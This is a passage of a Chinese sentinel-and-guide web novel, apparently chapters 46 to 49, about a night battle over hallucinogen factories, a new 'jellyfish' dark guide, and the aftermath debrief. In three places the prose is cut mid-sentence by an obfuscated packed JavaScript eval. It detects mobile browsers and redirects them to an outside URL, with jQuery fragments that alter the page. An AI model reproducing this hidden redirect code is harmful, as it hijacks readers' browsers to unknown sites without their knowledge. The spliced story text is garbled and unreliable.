忽然想起了什么,顾小绒开口问道:“这些哨兵有精神力连接口吗?” 萨特斯遇见的那一批狂化哨兵,很明显有个人意志,但同时也留有精神力缺口,方便“蝴蝶”的操纵和对接。 “你连这都知道啦?”薇拉的神情有些惊讶:“这一批没有诶,是比较笨的那种……” 顾小绒点点头,内心默默叹气。她其实早该有所预料,如果蝴蝶还能使用的话,希里斯也不会把她派来。没有精神力缺口的狂化哨兵是没有个人意志的,这就是他们最早遇见的那一种,机械、刻板,虽然短期的爆发力强大,但实际上也很容易突破。 她在心中对瓦尔塔那直接判了死刑。 制作致幻剂的设备占用空间很大,需要切割拆分运输,几乎每一个都需要耗费七八个小时。技术团队已经就位,士兵与哨兵也都被分配完毕,顾小绒转身朝着防御系统走去,她有一种预感,也许今天晚上就会发生些什么。时针已指向下午5点,看着表上飞速流逝的时间,顾小绒难以控制心底的焦灼。 见她的情绪一直很差,薇拉跟在身后默默扒拉着什么,过了会儿竟然变戏法般地掏出了两块糖递了过来。 “吃点甜的,心情会好些哦。”女哨兵眨了眨温暖的棕色眼眸。 顾小绒微微一怔,这段时间她几乎一直过着刀口舔血、时刻丧命的日子,苦痛似乎占据了她生命中过多的部分,以至于她都意识不到她的感知是苦痛的。 她伸手接过薇拉递过来的糖,剥开了含进嘴里,奶油的香甜瞬间弥漫在口腔里。她的口腔伤痕累累,甚至自己咬断过自己的舌根,被抢救回来接上后,那里还是留下了崎岖不平的伤痕。柔软的奶糖轻柔地抚过伤处,短暂的甜味让她想起了曾经的时光,她想起了韩奕的吻。 心脏痛得无法呼吸,眼里几乎是顷刻间蓄满泪水,却又被硬忍着压了下去。顾小绒抬起头来,对薇拉露出一个笑容。 女哨兵静静地望着她,良久后伸手轻轻摸了摸她发红的眼角。 夜色越深,顾小绒心中的忧虑就更甚。 她已不知第几次将曼琳与布雷塔妮的资料调出来看,如果她的预感没有错,今天晚上南方军将有幸同时碰到北方中央公会的哨兵总负责人和向导总负责人。阿尔塞拉和瓦尔塔那相距不远,北方肯定是会一道拿下,说不定他们会兵分两路,今晚她们会遇上的不是曼琳就是布雷塔妮。 “她们两个你都认识吗?”薇拉也仔细地看过了对方的资料,以及她们留存的一些作战影像。 “布雷塔妮是在我之后来的。”顾小绒摇摇头,她关闭了屏幕,闭上了生疼的眼睛。 “反正她俩都是那位少将的人吧。”薇拉言简意赅地总结到。 “嗯。”顾小绒点点头,她叮嘱道:“曼琳是韩奕一手带出来的,身手和意识都很一流。” “你说的我都对她有兴趣了。”薇拉露出一副跃跃欲试的表情:“我真的很好奇那位少将诶,现在南方已经把他传得神乎其神,他才是北方的实际主宰者,是吧。” “……”顾小绒内心苦涩,没能答话。 看顾小绒这副模样,薇拉转而问道:“你知道老大为什么对他耿耿于怀吗?” “嗯?”顾小绒一怔,仔细想想,希里斯话里话外总是一副和韩奕较劲的样子,在她面前奚落韩奕,在曼琳、言韶的面前也奚落韩奕,他们俩是有什么仇吗?她好奇地竖起了耳朵。 “别的也就算了,这么多年他们两个互端老巢也不是第一次。”开始八卦自家老大的旧事,让薇拉兴奋得两眼冒光。 “难不成……他被韩奕打输过?”顾小绒也来了兴致。 “哈哈,输到不至于,平手吧。”薇拉撑住下巴:“好多年前他俩对决过一次,据说把一栋楼都打塌了,可惜没能在现场看到。” 这要是在现场还能有命活着看吗?顾小绒扶额:“平手至于记恨这么多年?” “当然至于。”薇拉的神情变得认真起来:“老大是什么人啊,打S级哨兵跟玩儿似的,纵横了这么多年从无败绩,当然耿耿于怀了。” 她又补充道:“那时候老大才20多岁,正是最巅峰的时候,真是好想看他俩那场对战啊,太可惜了,以后也见不到了。毕竟老大已经要奔三了,男人过了30就不行了……” 顾小绒被逗乐了,她随后发现了什么:“你说希里斯奔三了,他多少岁啊?” “也才刚过29吧,前段时间。”薇拉想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055885|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了想:“这和30也没差别了。” “那……他俩不是一样大么。”顾小绒一怔。 “诶?是么?”薇拉也有些吃惊,随后脱口而出:“那他俩不是都快不行了啊。” “什么……哈哈哈哈哈。”顾小绒绷不住笑了出来。 以往出任务的时候,一路上总是压抑严肃,也就曼琳偶尔说笑两句,当着韩奕的面,她也不敢笑出声。如今倒可以放肆地笑了,还是因为背后讲他的段子。 短暂的松弛后,顾小绒和薇拉就进入了安静的潜伏状态,几乎是在浅眠与清醒两者之间。迷蒙间,她感觉到薇拉的手轻轻碰了碰她的肩膀。顾小绒瞬时醒来,她的精神力几乎在听一瞬间与薇拉触碰在一起,在哨兵的听觉下,她立即捕捉到了有什么细微而遥远的声音,随着楼体传来。 “来了。”她听见薇拉用精神力同她说。 一阵悠扬的蔷薇花香从女哨兵身上流出,薇拉释放出自己的精神体,是一只焦糖色的猫咪,它一落地就轻巧地匍匐在地,随后一溜烟地沿着角落跑远了。顾小绒也同时释放出了她的知更鸟,两人一上一下开始搜寻。在场的三位狂化哨兵也都被启动,进入待命状态。 “有三队哨兵与向导。”薇拉收回了精神体。 顾小绒也同样看得真切,为首的那位哨兵身形再熟悉不过,此时他正翻下围栏,动作轻灵而敏捷,显然是正羽,跟在他身后的则是程浩。因为隐蔽性强,每次的任务几乎都是他俩打头阵,这次也不例外。 程浩的精神体也被释放了出来探寻路径,兔狲似乎敏锐地感知到了什么,薇拉的猫咪赶紧掉头就跑。 顾小绒冲着一个狂化哨兵比了个手势,对方立即服从命令,前往正羽和程浩所在的方向进行拦截。而在更加遥远的另一边,另外四个身影也悄然而至。知更鸟敏锐的目光扫了一下,便将对方尽收眼底。 为首的很显然就是新上任的向导总负责人布雷塔妮,在她身旁随行的是她的哨兵。而后面那两位,真是冤家路窄,那正是在阿维隆被韩奕留在身边、最终将顾小绒控制到防空洞的两个年轻人。 在将她押送去防空洞后,他俩不知是谁还给了顾小绒一脚,她记得清清楚楚。 顾小绒眯起眼,荔枝味变得从未有过的冰冷,她在精神力中朝薇拉指了指:“那两个,是新人。” “好,明白。”薇拉回答道,眼睛一瞬不瞬地望着那边,剩余的两位狂化哨兵也被派遣了过去,此时二人的思绪也被绑定在一块,因此迅速达成了作战共识: 射人先射马,擒贼先擒王。 寂静的黑夜里爆发出一声巨响,还在行进中的四人立即举起了枪。很显然,另一边的程浩和正羽已经陷入了战斗。 因为还没有太多的作战经验,能看得出来两个年轻哨兵与向导十分紧张,布雷塔妮则沉稳许多,她与她的哨兵同时把枪收回,抽出身后的刀来,他们一前一后将新人夹在中间,做好了作战准备。 深邃的空间愈加寂静,气流如同凝滞,布雷塔妮忽然抽刀往上,白光闪过,一个狂化哨兵正从天而降,二人的刀几乎是电光火石地咬合在了一起。但布雷塔妮到底是向导,哪里受得住这般的力量,为避免手臂骨折,她瞬间侧过了身子,卸力避到一边。 艾瑞克随即冲了上去,与狂化哨兵缠斗在一起。 与此同时,伴随一声爆裂的声响,另一个狂化哨兵也从后方突击上来。年轻哨兵虽然害怕,但出于作战本能,也立即将向导拨到身后、拔刀上前应战。 其余人的注意力都投入在突如其来的激战里,只有布雷塔妮扬起头,只是短暂的一瞬便察觉到了不对。她的精神体闪电般朝着藏匿在死角的薇拉袭来,那是一只通体发光的雪豹,在那一刻,她的精神力如同利剑一般朝着哨兵狠狠刺去。 随后,那把锋利的剑便被卡在了一道极其牢固的精神屏障上,分毫难进、寸步难行。 顾小绒怎能允许自己的哨兵受到半分伤害,她轻轻偏头,巨大的精神力汹涌而起,几乎瞬时碾碎了布雷塔妮的进攻。 47. 第四十七章 雪豹白亮的爪牙与飞鸟凌厉的尾羽碰撞在一处,迸射出剧烈的光芒,晦暗的视线瞬间亮如白昼,两人的精神力短兵相接的那一刻,今晚的对决也正式拉开了序幕。 顾小绒需要这一战获得希里斯的信任,布雷塔妮也需要这一战得到韩奕的青睐,双方都从彼此的眼神里看到了不容退却的决绝。 但情况仍旧比顾小绒预料中的要好,如果今晚遇到的是曼琳和诺兰,她真的不知道自己是否还能心如止水地进入作战状态。 有两位狂化哨兵的率先攻击,艾瑞克和新人哨兵已经消耗了很多体力,在薇拉加入战局之后,情况已几乎朝着压倒性的方向发展。薇拉的身手好得出乎顾小绒的预料,短短几招毫不拖泥带水的摆拳、肘击与侧踢,再接连鞭腿,漂亮地将新人哨兵直接踹飞了下去,紧接着便是料理下一位。 不过想想也是,能被希里斯选中贴身跟随的,怎么可能身手平平呢。 布雷塔妮的刀刃破空而来,几乎是瞬时擦破了顾小绒的脸,只差0.5秒的时间她的脑袋就要被对方捅穿。布雷塔妮的身高有172cm,足足高了顾小绒10公分,两人的精神力虽然相持不下,但顾小绒的身高和体能都处于劣势,应对起来十分费劲。 布雷塔妮的刀法纯熟漂亮,即使顾小绒已竭尽全力躲闪,也仍旧被切伤了腰腹与腿部。对方是极为强大的攻击型向导,在整个对峙中她的精神力攻击也时刻没有松懈。顾小绒逐渐落入下风,她感觉到越来越多的血朝着身体外涌出,四肢如同灌了铅一般沉重。 在布雷塔妮将她的刀一击挑飞的瞬间,一道影子快速地闪身而至,薇拉棕色的双眼已杀成血红,她已经处理完了自己的对手,迅速回防向导。布雷塔妮的身手是向导中的顶级,她挥刀接住了哨兵的攻击,继而抽身回退。她的哨兵在刚才被薇拉刺伤了腹部,新人更是摔到了楼下不知生死,这让她陷入了被动。 顾小绒的脸被切开了一道狰狞的破口,鲜血淌满了脖颈,她抹了一把汹涌的鲜血,朝着新任的向导总负责人扬了扬头:“不考虑换个好点的哨兵吗?长官。” 布雷塔妮平静冰冷的面容终于浮现出一丝情绪:“你曾经配对了整个帝国最好的哨兵,不也还是叛逃了。” “你为了讨好他挺卖力的啊。”顾小绒冷冷嘲讽道:“早知有今日,是不是后悔和西里埃克斯家的人结婚了?” 莱安与韩奕的对弈是军部公开的秘密,做为西里埃克斯族人的伴侣,想要取得韩奕的信任几乎难比登天,她这一刀精准狠戾地扎在了她的痛处。 “呵,原以为你是少将的前任向导,还高看了你一眼。”布雷塔妮不为所动,反倒是微眯了双眼,她打量着对方浑身的伤口与鲜血,露出一个略带轻蔑的笑容:“如今看来不过如此,就你这样是怎么匹配上他的?” 戳人痛处这事多简单,她这一刀扎的更狠。 顾小绒果然没有再答话,她的目光落到了布雷塔妮肩头的记录仪,她知道自己的一举一动最终都会落入韩奕眼里。 “那边!”薇拉忽然拔枪朝着身后射击,“砰砰!”两声巨大的枪响将顾小绒的思绪迅速抓回。 正羽和程浩已在不知不觉间解决了狂化哨兵,此时已将破译器放到了紧闭的重型机械门上,薇拉的两发子弹正中那里,顾小绒才恍然明白,布雷塔妮是在为队友拖延时间。 “该死。”自己竟然如此大意,她与薇拉几乎是同时转身想要回防,却见那边一道剧烈的蓝光带着万钧之力贯穿而来。薇拉一把将顾小绒拽进怀里,朝着狭窄的金属长廊下面跳去,巨大的气流与爆破声擦过她们的身躯,薇拉一手拉住顾小绒,一手射出攀爬爪,两人这才从高空坠落中停止。 电磁炮一直以来都是程浩的长项,刚才薇拉的子弹慢了一点,机械门已经被打开了一道缝隙,原本能扛住数百吨当量爆破的防御设施,因为这一点点缝隙,直接被电磁炮轰开了。 防御设施被攻破,整个基地开始摇摇欲坠,建筑体外巨大的轰鸣声随即笼罩而来,这个声音顾小绒再熟悉不过,是北方空军编队的先遣战斗机与轰炸机。 “咱们撤。”薇拉环住顾小绒的手臂收力,将她抱得更紧了些。 如同顾小绒预料的一样,在她与布雷塔妮对战的时候,另一边去往瓦尔塔那的果然是曼琳,在哨兵总负责人的亲自率队下,那一仗赢得毫无悬念、势如破竹。两台致幻剂制造设备被尽数摧毁,即使是已经打包运输的那一台也被战机击中坠毁。 而阿尔塞拉这边,她们的动作已足够快,时间也拖得足够久,因此最终保全了两台设备,最后那一台仍旧没能逃脱被追捕的命运,其中装有两个局部的战机被击落,只有剩下三个局部被运输了回去。 五台设备、两座城池,她只勉强保全了两台半,剩下的那半台缺失的部分是否能修复尚未可知,不知道下一次见到希里斯会不会被他一枪崩头,顾小绒心如死灰地闭上眼。 双城之战的陨灭,标志着北方已突破了南方腹地,局势急转直下。 而另一边,取得胜利的布雷塔妮神情并不轻松,她的哨兵受的是贯穿伤,伤得极其严重;而另一位新人哨兵则直接坠落了接近二十米,浑身多处骨折。还好程浩和正羽及时赶到,不然再多拖五分钟两人极有可能性命难保。 回到公会后,才刚刚安置好伤员的布雷塔妮和曼琳就收到了另一边的战报,东南沿海地区的推进出现了新的状况,在港口城市塔尔蓝的巷战中,我方再次遭到了敌方向导的强力进攻,伤亡惨重。 “属于哪种作战体系?”布雷塔妮见年轻向导慌慌张张,先给他指了个方向。 “是……敌方A-1级。”年轻向导稳了稳心神。 “是蝴蝶吗?”向导负责人的声音变得冰冷。 “不……似乎不是……”前来汇报的是一个看上去十分年轻的新人,面对两位长官严肃至极的眼神,他声音有些发颤:“据存活下来的向导说,他们感觉到一股窒息感,好像被水淹没,精神体是类似于白色的丝带……” “丝带?”曼琳微蹙了眉头。 “是……目前只能感知到这些……”年轻向导答道。 在整理蝴蝶向导的资料后,布雷塔妮与曼琳曾一起对敌方的作战体系做出了划分,按照难度与危险等级,分别为: A-1级:无实体黑暗向导(A+)+有意识狂化哨兵(A+) B-1级:传统哨兵向导(A)+无意识狂化哨兵(B)的混合型 B-2级:无向导(0)+无意识狂化哨兵(B) 曼琳遇到的属于危险等级最低的B-2级,布雷塔妮的情况属于B-1级,塔尔蓝那边则是最棘手的A-1级。敌方同时采用如此多样的攻击方式,让北方公会有些疲于招架,但比这更加可怕的,是敌方很可能出现了除了蝴蝶之外的第二个“黑暗向导”。 庞大的寂静降临在众人面前,他们都清楚,最让人害怕的事最终还是发生了。 “让伤员先去治疗,等恢复之后让向导过来给我报告。”布雷塔妮沉着地下了命令。 既然无法回避,那就只能接受。 毕竟他们一开始就已经知道,摧毁致幻剂的生产不过只能起到延缓的作用,无论南方准备了多少“黑暗向导”、实验进程又到了何种地步,她们只能期望现在所做的一切,可以使得那个最坏的结果晚一点到来。 “等我这边理出思绪再和少将一起汇报吧。”年轻向导领命退下后,布雷塔妮才放缓了语调,同曼琳商量到。 “好。”曼琳轻轻点头,现在这情况确实有上报的必要,她随后问道:“卡罗疗养院的事……” “技术人员已经在恢复损坏的数据了。”布雷塔妮回到道:“应该不需要太长时间。” “嗯。”曼琳轻轻点了下头,她静静望着窗外飘飞的雪絮,回忆起曾经沈骁与韩奕所在的位置,此时此刻,她们的身影同他们交叠在一处,好像他们曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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布雷塔妮露出一个浅淡而嘲讽的笑,她一直想要与西里埃克斯家族撇清关系。自韩奕掌握大权之后,莱安这位上将几乎已变成了束之高阁的华丽摆设,没想到这位“摆件”还不肯轻易认输,不肯认输也就罢了,还要拉她一起下水。 “知道了,我派人去安排。”她冷冷答到:“是安排宴会还是沙龙啊?” 艾瑞克无视了向导带刺的话语,认真地说:“不必了,他这次过来是找你了解黑暗向导的。” 数月以来陡变的形势似乎没有改变莱安半分,他看上去仍旧如同往日那般神采奕奕,仿佛自己从来没有在之前的博弈里败北似的。 “艾瑞克,我亲爱的堂兄。”熟悉的声线从那张矜贵的口里吐出,华美而冰凉,透露出一丝慵懒。 众目睽睽之下,莱安竟张开双手与艾瑞克来了个亲密的拥抱,从哨兵略显僵硬的动作可以看出,以他俩不算熟悉的关系,这样的举动明显有些越界了。不过莱安的一生都浸泡在贵族虚以委蛇的表演里,于他而言,浮夸的假面几乎已是他的一部分,展现起来毫无痕迹、浑然天成。 这样的姿态一经摆出,就会落进周围随行的士兵与哨兵眼里,随后向某位手眼通天的少将传递一个信号:他们才是一家人。 布雷塔妮撇开目光,竭力压制住内心中翻涌的厌恶。 “好了,闲言少叙吧。”莱安自然地将手收了回来,整个过程中他的哨兵艾维一直跟随在他身后的三米之处,目光阴冷地注视着艾瑞克。 他们两人并不熟,但艾瑞克知道艾维这个人,他是整个家族里同期最强的哨兵,因此才从一众候选者中脱颖而出,配对给了当时就是族长继承人的莱安。在2年前中央公会与皇家公会的联谊比赛中,他曾与还是A级的楚飞打成平手,二人在那时被并称为新兴的双子星。 只是随着楚飞分化为S级、又成为了阿维隆战役的英雄,艾维也如同他的长官一样,变成了摆在玻璃柜中以供展示的物件,曾经闪耀的光芒逐渐积满灰尘。 “走吧,去军区医院。”莱安抬起那双明丽的紫色眸子,略带玩味地看着一旁的布雷塔妮,似乎很享受对方不得不隐忍的模样:“我猜你这会儿很需要我的帮助,嫂子。” 这一声“嫂子”让布雷塔妮浑身恶寒,莱安对人性与局势的把握洞若观火,他的双眼仍旧锐利、锋芒不减,虽然仍就是那样故意又恶劣的态度,也仍旧堵得她无处可退,她确实已没有了任何办法。 “那就麻烦上将了,请。”最终是艾瑞克发了话。 48. 第四十八章 莱安从容地接过自家哨兵递来的圆形脑部装置,亲手将它戴在了还躺在病床的年轻向导头上,可怜的孩子因为惧怕难以控制地发着抖,又迫于对方的身份不敢有丝毫反抗,只能求助般地看着布雷塔妮。 后者浅色的瞳仁微微一颤,终是只能别过目光。 艾维也没有闲着,在帮莱安整理完仪器后,将软带绑缚在了年轻向导的手腕上,美其名曰“保护”。 “你替韩奕做事的时候不是驾轻就熟吗?”莱安依旧不肯饶人,很显然已经知道了布雷塔妮在疗养院的所作所为。 布雷塔妮紧攥在身后的手几乎微微发抖,艾瑞克不露痕迹地握住了她的手腕,他们没有与莱安抗争的资本,而且情况如此紧急,他们也确实需要得到敌方黑暗向导的信息。 “好了。”莱安终于收回了眼神,他伸手按住了那位年轻向导的前额,笑意逐渐消弭,他用冰冷的语调命令道:“你先自己试一试,不行了我再帮你。” “是……是,长官……”见对方似乎没有想象中那样可怕,年轻向导慢慢止住了颤抖,他咬住下颌,努力将精神力与记忆集中到侵袭发生的时候。 窒息的感觉再次涌了上来,仿佛沉浸了不见天日的深黑海底,熟悉而庞大的恐惧感将他再次笼罩,投影仪显示的画面颤抖了一下,变得时断时续。向导的身体开始抽搐,眼看就要支撑不住。 一股强大而凌烈的精神力在此时忽然注入,年轻向导感到自己冰冷僵直的身体似乎被托了起来,那股力量与庞大的黑暗对峙着,如同海中的一盏孤灯,明亮炽热、恒久不灭,它的光芒霎时将黑暗照亮。 垂死的心脏重新开始跳动,空气仿佛重新回归了胸腔,温热的血液流向四肢百骸。 画面瞬时变得清晰起来,角度也更加宽阔,缥缈的白色丝带在那束光的照耀下无所遁形、现出了真身—— 一只巨大的海底生物出现在投影仪汇聚的光芒里,大到投屏的范围几乎无法容下,布雷塔妮疾步上前调整仪器,将可视范围拉到最大。随后,在现场众人震惊的眼神里,一只极其庞大的冥河水母出现在他们面前,即使只是虚拟投影,它也几乎将整个房间占满。 布雷塔妮几乎已经忘记了自己是什么神情,只有向导才能明白莱安介入进去的精神力是何等强大。进攻与保护同在,锐利与沉厚并存,无论是治疗型还是攻击型的向导,都很难如此这般面面俱到、完美无缺。 金色的光芒纯粹无垠,像是没有止境一般生生不息,最终残存的黑暗被逐渐耀眼的光芒吞噬。精神力绑定时,莱安同年轻向导一样体会着黑暗向导的绝对禁锢,可他的面容上看不出丝毫的痛苦,甚至还有些气定神闲。 水母安稳地浮动在众人顶端,被不存在的海水轻柔地掀起丝带般的乳白色触角,它看上去柔美而寂静,仿佛在沉睡,仿佛这片蓝光便是它可栖身的海洋,最终在光芒的照耀下逐渐透明、渐渐消逝。 “完事了。”莱安面不改色地将手撤下,随即站起了身来,众人一时还在惊讶中,沉默如同实质般横亘在眼前。见没有人回应自己,上将才扬起了眉,有些不耐烦地问道:“录下来了吗?” “哦……报告长官,已全部录下,正在解析数据。”一旁的白大褂似乎才回过神来,赶紧应道。 “嗯。”莱安哼了一声,原本转身欲走,却无意间看到了年轻向导目瞪口呆的表情,小伙子那眼神,仿佛他原本应该被扒皮抽筋、生吞活剥。 莱安微微蹙起眉,面露不解:“怎么?我又不是审犯人,我看起来很可怕吗?” “……”没有人敢对上他的眼睛,只剩下一片沉默作为回应。 布雷塔妮也垂下了目光,她在巨大的震惊中控制着自己的表情。她从来不知道莱安是如此强大的向导,此人在她的记忆里除了争权夺利和夜夜笙歌之外,没有干过一件正经事。他从未参加过一线战场、也从未显露出过自己真实的实力,他长久地披着纨绔子弟纸醉金迷的外壳,久到那张面具几乎要替代了他真正的面容。 “看来我不是酒囊饭袋这件事,让你很失望?”见布雷塔妮的神色,莱安那股恶劣的心思又涌上来了,他歇睨着她,笑得很恣意。 “没有,长官。”布雷塔妮的声线明显有些僵硬。 “呵。”莱安发出一声略带嘲讽的轻哼:“放松点,这是正常的,我们在中部逼得太狠,兔子急了也会咬人,现在南方军无论做出怎样的事都不用惊讶。” 随后,他没有再兜圈子,而是干脆利落地命令道:“把数据整理出来,立刻马上。” “是。”布雷塔妮领命,对方此时的神色冷冽果决,同平日全然不同,她震惊地望着那双紫色的眼眸,仿佛是第一次认识莱安这个人。 上将出人意料地没有要求宴会与接待,在办完事后他便立即同他的哨兵回去了。临走时,他回头望了布雷塔妮一眼,神情似笑非笑,但最终没有再说什么。 布雷塔妮和艾瑞克站在停机坪,目送长官的离开。他最后的眼神布雷塔妮看得明白,因为在那一刻,只属于两位向导的精神力连接清晰地浮现在她的脑海里,莱安的声音掷地有声: 你应该知道,西里埃克斯家族的族语是:国家、家族、荣耀。 也许你可以考虑同我合作。 直升机远去,被卷起的雪浪也缓缓地沉寂了下来。布雷塔长久地望着机身离去的方向,只觉那段声音仍旧在自己的脑海中,余音绵长、久久不绝。好几分钟后,她才望向一旁的丈夫,她复杂的眼神让艾瑞克有些不解,但在片刻的思忖后,她还是没有将莱安最后同她说的话告诉对方。 五天后,韩奕少将回到公会。 曼琳和布雷塔妮早早去了2号停机坪等待,大雪持续了半个月不曾止息,正午时分的天空浓黑如墨,雪白的光柱不断缓慢地来回扫视。直升机凛冽的风扬起了两位少校的衣襟与发丝,在螺旋桨的嗡鸣里,一只深黑的军靴从机体踏下,踩在新落的积雪里。 韩奕已经有一段日子没有回公会了,多日不见,少将看上去清瘦了一些,下颌的线条更加锋利,眉下投射的阴翳越发深邃。 他的身旁只跟随着莉莎与两位同行士兵,没有任何多余的接待与流程,几人直接走向少将曾经的办公室,那里容纳三个人开会绰绰有余,玻璃门是完全隔音的,随行的诺兰与艾瑞克可以在外面的休息室等待。 少将不在的时间里,办公室也有人每天打扫,这里还维持着往日的模样,分毫不曾改变。他深色的眼不自觉望向了窗边的沙发,那里空空荡荡,被收拾得整洁无暇,连一丝褶皱都没有,也没有留下曾经的任何痕迹与温度。 “汇报吧。”玻璃门关上后,韩奕淡淡说道。 优先汇报的自然是最要紧的新型黑暗向导,布雷塔妮打开了投屏,雪亮的蓝光汇聚在空间里,随后形成了一只水母的形状,她的触手、优美的白色丝带在空中静静浮动卷涌。 莱安来中央公会这事韩奕想来已经知道,只是不知道他究竟了解到何种程度,又会不会将自己与莱安的阵营划分到一处……不过事已至此,还是先处理眼前棘手的情况要紧。 布雷塔妮压下思绪,将注意力聚拢:“我汇总了塔尔蓝战场幸存下来的两位向导的信息,还原了新的黑暗向导的资料,她的精神体是冥河水母,向导素是铃兰。目前在公会记录里只查询到两位向导的精神体是水母,一位是海月水母,一位是罗盘水母,向导素也比对不上。她们一位已退役,一位还在第三公会服役,已派人实地走访查证,确认排除。可以确定“她”不是来自北方。” 她随即又点了一下操作屏,水母倏然地消失,丝带在空中划过一道柔软而朦胧的弧度,投屏里随即出现了塔尔蓝战场的记录仪画面。从中可以看出,这个黑暗向导的风格是通过精神力的控制与幻觉,让敌人感觉到“窒息”,最后殒命,后续的遗体检测结果也确认了这一点,这和蝴蝶的风格完全不同。 “不过,‘水母’向导的属性比‘蝴蝶’向导温柔许多,她的精神力更稳定,强度却更低。看样子南方已经优化了他们的实验进程,这也许意味着他们的实验体系更加的成熟稳定。” “不过,她也并不是完美的,比起蝴蝶,水母很明显为了稳定性而牺牲了精神力的强度,战场上的哨兵和向导虽然承受了重击,但仍有两位向导可以做到挣脱与反抗,我们并不是毫无反击之力。”布雷塔妮的指尖继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16055887|179099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 移动,点出了一个平面数据图,这是她根据蝴蝶与水母为数不多的几次出战的分析。 她将黑暗向导划分出五个标准:力量强度、稳定性、兼容度、防御、智能程度。 蝴蝶的数据是:力量:10、稳定性:2、兼容度:8、防御:未知、智能程度:10 水母的数据是:力量:7、稳定性:5、兼容度:9、防御:未知、智能程度:10 防御能力那一项之所以“未知”,主要是因为因为他们暂且没有可以攻击对方的能力。向导总负责人干练地收好所有的图像与数据表格,完成了她的汇报。 韩奕略一颔首,目光落向了曼琳。 “是。”年轻的哨兵总负责人走上前来汇报了双城之战的情况,以及致幻剂的销毁情况,在汇报到有两个半的制造仪器仍被成功运输走时,少将的眼神变了变:“记录仪。” “报告长官,在瓦尔塔那的只是B-2……” “她的。”曼琳还没有说完,韩奕的眼神便已扫向了布雷塔妮。 冰蓝眼眸与绿色瞳仁短暂触碰,两人都陷入了沉默,最后是布雷塔妮伸出手去按动了屏幕按钮,交出了她的记录仪。 实际上,布雷塔妮遇到顾小绒这事,曼琳也只是知道大概,具体情况她还没来得及看。 在记录仪清晰的镜头下,顾小绒每一刻的身影与神情都被分毫不差地捕捉,她优先派遣狂化哨兵消耗了我方的体力,还好布雷塔妮及时发现,后又拖住了她们给程浩和正羽争取了宝贵的时间。 顾小绒与布雷塔妮交流的每一分细节,也在清晰的投屏下纤毫毕现,画面里顾小绒虽然浑身是血,神色却仍旧冰冷倨傲。 “不考虑换个好点的哨兵吗?长官。”这绝不是她认识的顾小绒会说出地话,曼琳神情复杂地看着屏幕,就像是从来不认识她一般。 “呵,就你这样是怎么匹配上他的?” 晦暗的深黑与血红里,那双湛蓝的眼被污浊吞噬,变得晦暗不明。顾小绒很明显被这句话刺痛了,若非如此,以她平日的反应力与战斗直觉,不至于发现不了端倪。 果然女人最懂怎么伤到女人,曼琳抿着唇控制着自己的神情,既不敢看投屏也不敢看韩奕。 布雷塔妮冷若冰霜,没有一丝情绪起伏,直到记录仪播完才继续汇报道:“她身边的这位女性哨兵名叫薇拉,轻型A级,是希里斯的心腹。” 顾小绒是什么位置已经十分明显了,毕竟在此之前,希里斯甚至为了她亲自劫掠囚车。 两位少校完成了战场上的汇报,垂手而立等待长官的发话。“卡罗疗养院的调查呢?”韩奕果然问道,他的面容看上去没有分毫的情绪波动,眼睛往桌上递交的纸质资料看去。 “在这里,长官。”曼琳将厚厚的一沓文件挪到了前面,她的面容有些紧张,韩奕只一眼扫过,心里便明白了七八分。修长的指尖翻开了文件夹的扉页,浏览许久后,少将才开口道:“替我安排去见一次沈骁。” “是。”曼琳与布雷塔妮双双回复道。 会议结束后,曼琳便下了楼去,她的办公室就在楼下,与楚飞的挨在一起。而且以现在的氛围,她直觉自己应尽快离开老师的视野范围,少将此时的身上又浮现出一股若隐若现的攻击感。很显然布雷塔妮与她的感觉相似,两人几乎是连眼神都没有对,完成汇报之后就立即告辞了。 布雷塔妮还有事要忙,在与她告别后,曼琳的面容才显露一丝沉郁。从电梯中踏出,她有些意外地遇到了刚刚将手搭在门把手上的楚飞,而这一次周烨也在他的身边。 “不是吧,某人居然还会来办公室。”曼琳嘴上这样说着,但在看到周烨的那一刻,一直以来沉甸甸的心情终于放松了一些。 周烨虽然已经走完了调查组的流程,可因为他与沈骁敏感的关系,能不能再重用还需要看韩奕的意思。就在刚才她委婉地询问了一下老师,既然敌方已出现了新的黑暗向导,我方的两位S级哨兵是否可以启用。 “你是哨兵总负责人,你来决定。”少将头也没抬地回答道。 这应该就是答应了,曼琳呼出一口气,麻利地走出了办公室,抬手关上了门。 49. 第四十九章 好容易几人聚齐,曼琳和诺兰索性就去了楚飞的办公室,这会儿莉莎也刚好下楼来,说是替他们送一些水果和餐点。冬季的水果昂贵异常,一看就是少将请的。 “莉莎,麻烦替我们和老师说声谢谢。”楚飞站起了身,客气地将莉莎送到门口,直到对方离开才关上了门。 水果拼盘供应的种类往往根据温室种植的品类随机配送,看来这一次的温室水果是模拟夏季的温度生产的,里面有西瓜、芒果、椰子、香蕉以及……荔枝。曼琳的目光顿了顿,哨兵嗅觉敏锐,办公室里此时只有桌上的果香最为诱人,她可以清晰地从各类水果的香味中分出荔枝的味道,这让她想起刚刚才见到的、故人的面容。 指尖轻巧地拨开了粗糙的荔枝皮,露出晶莹柔软的果肉,一口下去汁水四溢、唇齿留香。 